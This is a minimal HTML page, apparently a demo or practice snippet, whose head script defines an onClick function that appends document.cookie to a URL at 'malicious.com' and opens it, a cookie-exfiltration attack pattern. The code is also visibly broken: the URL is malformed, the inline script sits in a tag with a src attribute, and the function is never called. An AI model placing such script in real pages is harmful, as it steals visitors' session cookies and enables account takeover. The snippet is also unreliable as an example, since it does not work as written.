<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<title></title>
		<script src="xxxxxx.js">
			function onClick() {
				let url = `http:malicious.com>cookie=${document.cookie}`
				open(url)
			}
		</script>
	</head>
	<body>
	</body>
</html>
